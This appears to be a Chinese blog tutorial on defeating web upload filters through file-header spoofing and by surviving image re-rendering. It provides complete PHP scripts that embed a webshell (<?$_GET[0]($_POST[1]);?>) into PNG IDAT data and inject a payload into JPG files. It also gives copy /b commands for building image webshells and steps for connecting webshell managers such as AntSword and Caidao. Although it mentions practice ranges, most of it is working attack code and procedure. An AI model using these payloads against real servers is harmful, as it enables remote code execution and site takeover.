【后端检测-绕过】文件头检测绕过、二次渲染绕过

目录

一、文件头检测绕过

1.1、原理:

1.2、工具:

1.3、常见的文件头:

1.4、利用过程:

二、二次渲染:

2.1、原理:

2.2、工具:

2.3、利用过程:

GIF绕过:

PNG绕过:

利用过程:

JPG绕过

利用过程:


一、文件头检测绕过

1.1、原理:

当浏览器上传到服务器时,白名单对文件进行头检测,符合,则允许上传,反之不允许。

所有的文件都是以二进制的形式进行存储的,本质上没差别。但使用的方式不同,是因为我们理解他的方式不同。在每一个文件(包括图片,视频或其他的非ASCII文件)的开头(十六进制表示)都有一片区域来显示这个文件的实际用法,这就是文件头标志

Linux下可以用file命令直接查看文件的实际格式,也是利用文件头标志来进行文件类型判断的。


1.2、工具:

c32asm(反汇编软件)

这个软件在百度上比比皆是


1.3、常见的文件头:

(格式是16进制的格式)

JPEG (jpg)FF D8 FF
PNG (png)89 50 4E 47
GIF (gif)47 49 46 38
XML (xml)3C 3F 78 6D 6C
HTML (html)

68 74 6D 6C 3E

ZIP Archive (zip),50 4B 03 04
RAR Archive (rar),52 61 72 21
Adobe Acrobat (pdf),25 50 44 46 2D 31 2E
MS Word/Excel (xls.or.doc)D0 CF 11 E0
MS Access (mdb)53 74 61 6E 64 61 72 64 20 4A

1.4、利用过程:

第一步:先写一个php执行文件

第二步:使用 c32asm打开这个文件

 

第三步:在16进制前面,加上自己需要加的文件头的16进制

这里以 png的16进制为例

第四步:上传到服务器

上传到只有文件头检测的靶场会发现上传成功

(可以结合其他绕过,再使用burpsuite抓包改为php格式解析)

第五步:获取webshell,即浏览器打开其所在地址



二、二次渲染:

2.1、原理:

在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新。

处理完成后,根据原有的图片对比,找到没被修改的部分,然后利用这一部分,生成一个新的图片并放到网站对应的标签进行显示。


2.2、工具:

burpsuite

010 Editor16进制编辑器

(网上好评90%以上的差得多都没什么问题)


2.3、利用过程:

GIF绕过:

第一步:图片马的制作(b指代的是二进制)

方法一:直接用Notepad++等记事本类型软件打开,在图片后写入执行语句

方法二:使用命令将2文件内容合并(可以将zip等其他类型文件伪装成图片等,copy/b 1.gif/b+1.rar/b 2.gif)

将准备的1.gif  和2.php文件,最后再和成为3.gif

在目录下按住shift,再右键打开Open in Windows Terminal(或者从命令提示符进入到这个目录中)

copy 1.gif/b + 2.php/a 3.gif

(上图是用010 Editor16进制编辑器) 

第二步:将文件上传,然后,再对比原文件

(上传后) 

使用010 Editor16进制编辑器自带的比较文件

点击Tools----点击compare Files

 选着文件所在位置,再点击compare

然后选着这个match(匹配)的部分

即16进制蓝色段就是没被改变的

 

第三步:可以在没有改变的地方(蓝色部分)插入恶意代码

第四步(基操开始):获取webshell,即浏览器打开文件地址

第五步:软件连接(蚁剑,菜刀等)



PNG绕过:

PNG数据组成:

关键数据块(critical chunk/标准)+辅助数据块(ancillary chunks/可选)

每个PNG由3个标准数据块(IHDR,IDAT, IEND),(一般包含3个以上数据块)

标准数据块:

IHDR(header chunk):

包含有PNG文件中存储的图像数据的基本信息,并作为第一个数据块出现在PNG数据流中,一个PNG数据流中只能有一个文件头数据块

IDAT(image data chunk):

存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。 IDAT存放着图像真正的数据信息,了解IDAT的结构,就可以生成PNG图像

IEND(image trailer chunk):

标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。

即00 00 00 00 49 45 4E 44 AE 42 60 82 

辅助数据块:

PLTE:

是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。


利用过程:

使用php脚本写入在IDTA中

第一步:创建IDAT_png.php脚本(生成一个绕过渲染的图片马):

运行脚本即可生成<?$_GET[0]($_POST[1]);?>

使用方式:get传参0=   post传参1=

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

第二步:使用php命令执行php脚本文件

执行命令(没报错就是成功了)

php IDAT_png.php 2.png

(要进入到文件夹里执行)

可能遇见的问题:

【非命令】【环境变量配置】php : 无法将“.\php”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。‘php‘ 不是内部或外部命令,也不是可运行的程序或批处理文件。https://blog.csdn.net/qq_53079406/article/details/123462859?spm=1001.2014.3001.5501

然后可以看到生成了一个php脚本里面运行出来的1.png文件

第三步:上传生成的1.png文件

(主要先懂原理)找一个能上传的

 上传成功了

第四步:在浏览器上访问

能正常访问 

第五步:利用写入的恶意语句执行

用的php脚本生成的图片所写入的是<?$_GET[0]($_POST[1]);?>

(根据脚本写入情况来定,不确定可以用010 Editor等编辑器查看)

然后结合文件上传,进行GET和POST传参

get传参0=

post传参1=

(我们可以通过把上传的图片再保存到本地,用010 Editor查看)

 



JPG绕过

(JPG是JPEG的简写,jpg是后缀名,jpeg既可作为后缀名,又能代表文件格式;JPG--JPEG文件格式)

(和png操作步骤基本一样,就是所用的脚本不一样)


利用过程:

第一步:在和JPG同一文件下创建jpg_payload.php脚本

(注:JPG更易损,所以容易失败,所以很大程度上要找一些不同的JPG文件,还有可能浏览器限制访问等问题)

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

第二步:使用php脚本创建一个图片马

php jpg_payload.php a.jpg

(要进入到文件夹里执行)

生成成功

第三步:上传到服务器(浏览器)

上传成功 

访问图片地址的时候出现问题,要多换几张其他的图片试试

但是我用的火狐浏览器只要插入的是<?php phpinfo();?>语句都出现这样的问题

事后:将生成图片保存到本地,然后用010Editor查看

  • 4
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值